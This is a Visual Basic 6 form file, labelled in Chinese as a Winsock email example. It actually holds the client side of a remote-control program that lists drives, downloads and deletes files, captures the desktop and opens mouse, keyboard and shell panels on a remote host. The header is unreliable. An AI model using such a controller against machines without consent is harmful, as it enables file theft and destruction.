form1.frm

关于WINSOCK控件基本编程的例程,提供电子邮件例程

         EndProperty
         BeginProperty Button2 {66833FEA-8583-11D1-B16A-00C0F0283628} 
            ImageIndex      =   2
         EndProperty
         BeginProperty Button3 {66833FEA-8583-11D1-B16A-00C0F0283628} 
            ImageIndex      =   3
         EndProperty
         BeginProperty Button4 {66833FEA-8583-11D1-B16A-00C0F0283628} 
            ImageIndex      =   4
         EndProperty
         BeginProperty Button5 {66833FEA-8583-11D1-B16A-00C0F0283628} 
            ImageIndex      =   5
         EndProperty
         BeginProperty Button6 {66833FEA-8583-11D1-B16A-00C0F0283628} 
            ImageIndex      =   6
         EndProperty
         BeginProperty Button7 {66833FEA-8583-11D1-B16A-00C0F0283628} 
            ImageIndex      =   7
         EndProperty
         BeginProperty Button8 {66833FEA-8583-11D1-B16A-00C0F0283628} 
            ImageIndex      =   8
         EndProperty
         BeginProperty Button9 {66833FEA-8583-11D1-B16A-00C0F0283628} 
            ImageIndex      =   9
         EndProperty
         BeginProperty Button10 {66833FEA-8583-11D1-B16A-00C0F0283628} 
            ImageIndex      =   10
         EndProperty
         BeginProperty Button11 {66833FEA-8583-11D1-B16A-00C0F0283628} 
            ImageIndex      =   11
         EndProperty
         BeginProperty Button12 {66833FEA-8583-11D1-B16A-00C0F0283628} 
            ImageIndex      =   13
         EndProperty
         BeginProperty Button13 {66833FEA-8583-11D1-B16A-00C0F0283628} 
            ImageIndex      =   14
         EndProperty
         BeginProperty Button14 {66833FEA-8583-11D1-B16A-00C0F0283628} 
            ImageIndex      =   15
         EndProperty
         BeginProperty Button15 {66833FEA-8583-11D1-B16A-00C0F0283628} 
            ImageIndex      =   16
         EndProperty
         BeginProperty Button16 {66833FEA-8583-11D1-B16A-00C0F0283628} 
            ImageIndex      =   17
         EndProperty
      EndProperty
      Begin MSComDlg.CommonDialog objCommonDialog 
         Left            =   4800
         Top             =   2040
         _ExtentX        =   847
         _ExtentY        =   847
         _Version        =   393216
      End
   End
End
Attribute VB_Name = "FrmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Form_Load()
Improve_Listview Me.ListView1
End Sub
Private Sub ListView1_ColumnClick(ByVal ColumnHeader As MSComctlLib.ColumnHeader)
Select Case ColumnHeader.Index
    Case 1
     msSortListview Me.ListView1, ColumnHeader.Index, gcnText
    Case 2
     msSortListview Me.ListView1, ColumnHeader.Index, gcnNumber
End Select
End Sub
Private Sub SockCli_Connect()
'On Error GoTo Error
TreeView1.Nodes.Add , , "xxxROOTxxx", FrmConnect.TxtIP
Toolbar1.Buttons(2).Enabled = True
Toolbar1.Buttons(1).Enabled = False
SockCli.SendData "ENUMDRV"
Exit Sub
Error:
    MsgBox Err.Description, vbCritical, "错误"
    Exit Sub
End Sub
Private Sub SockCli_DataArrival(ByVal bytesTotal As Long)
Dim StrData
Dim MyFlag As String
SockCli.GetData StrData

If Left$(StrData, 7) = "GOTINFO" Then
MsgBox "命令已经传递！", vbOKOnly, "完成"
End If
MyFlag = Left$(StrData, 7)
Select Case MyFlag
Case "COMPLET"
        bFileTransfer = False
        Put #1, , StrData
        Close #1
        Unload frmDownloading
        Set frmDownloading = Nothing
        DoEvents
        If bGettingDesktop = True Then
            bGettingDesktop = False
            Shell "MSPaint " & App.Path & "\desktop.bmp", vbMaximizedFocus
        End If
        Exit Sub
Case "DRIVERS"
Populate_Tree_With_Drives StrData, FrmMain.TreeView1
Case "FOLDERS"
Populate_Folders StrData, FrmMain.TreeView1
Case "MYFILES"
Populate_Files StrData, FrmMain.ListView1
Case "GOTINFO"
Me.Caption = Me.Caption & "命令发出"
Case "ONRUNTO"
'Call JinC
Case "MOUSEPS"
'Call MouP
If bFileTransfer = True Then
        If InStr(1, StrData, "FILESIZ") <> 0 Then
            frmDownloading.lblBytes.Caption = CLng(Mid$(StrData, 11, Len(StrData)))
            frmDownloading.objProg.Max = CLng(Mid$(StrData, 11, Len(StrData)))
            Exit Sub
        End If
        
        Put #1, , StrData
        
        With frmDownloading.objProg
            If (.Value + Len(StrData)) <= .Max Then
                .Value = .Value + Len(StrData)
            Else
                .Value = .Max
                DoEvents
            End If
        End With
        
    End If
End Select
End Sub
Private Sub Timer1_Timer()
Dim StrZ As String
Select Case SockCli.State
Case 0
StrZ = "关闭"
Case 1
StrZ = "打开"
Case 3
StrZ = "挂起"
Case 4
StrZ = "识别主机中"
Case 5
StrZ = "已经识别主机"
Case 6
StrZ = "正在连接"
Case 7
StrZ = "通信中"
Case 9
StrZ = "错误"
End Select
StatusBar1.Panels(3).Text = "当前状态：" & StrZ
End Sub
Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)
Select Case Button.Index
Case 1
    FrmConnect.Show
Case 2
    SockCli.SendData "ASKQUIT"
Case 3
    FrmInfo.Show
Case 4
    FrmOnr.Show
Case 5
    FrmCd.Show
Case 6
    FrmMouse.Show
Case 7
    FrmKb.Show
Case 8
    FrmDisk.Show
Case 9
    FrmSys.Show
Case 10
    FrmShell.Show
Case 11
    FrmInte.Show
Case 12
    FrmClose.Show
Case 13
    FrmNav.Show
Case 14
    If frmConnection.SockCli.State <> 7 Then
        MsgBox "没有连接！", vbInformation, "错误"
        Exit Sub
    End If
    With objCommonDialog
        .DialogTitle = "将文件存储到："
        .FileName = Me.ListView1.SelectedItem.Text
        .ShowSave
        If Len(Dir(.FileName)) <> 0 Then
            iResult = MsgBox(.FileName & "已经存在！要覆盖吗？", vbQuestion + vbYesNoCancel, "文件存在")
            If iResult = vbNo Then
                Exit Sub
            End If
        End If
        Open .FileName For Binary As #1
    End With
            
            bFileTransfer = True
            SockCli.SendData "GETFILE" & ListView1.SelectedItem.Key
Case 15
    iResult = MsgBox("你确定要删除文件 " & Me.ListView1.SelectedItem.Text & "？", vbQuestion + vbYesNoCancel, "删除文件")
    If iResult = vbYes Then
        SockCli.SendData "KILFILE|" & Me.ListView1.SelectedItem.Key
        Me.ListView1.ListItems.Remove (ListView1.SelectedItem.Key)
    End If
End Select

End Sub
Private Sub TreeView1_Collapse(ByVal Node As MSComctlLib.Node)
    If Node.Key = "xxxROOTxxx" Then
        Exit Sub
    End If
    Delete_Child_Nodes Me.TreeView1, Node
End Sub
Private Sub TreeView1_NodeClick(ByVal Node As MSComctlLib.Node)
'请求当前文件夹内容
On Error GoTo Error
Dim sData As String
    Me.MousePointer = vbHourglass
    sData = "FOLDERS" & Node.Key
    SockCli.SendData sData
treeview1_NodeClick_Exit:
    Exit Sub
Error:
    Me.MousePointer = vbDefault
    If Err.Number = 40006 Then
        MsgBox "连接已经断开！", vbExclamation, "错误"
        Exit Sub
    End If
    MsgBox Err.Description, vbCritical, "错误"
    Exit Sub
End Sub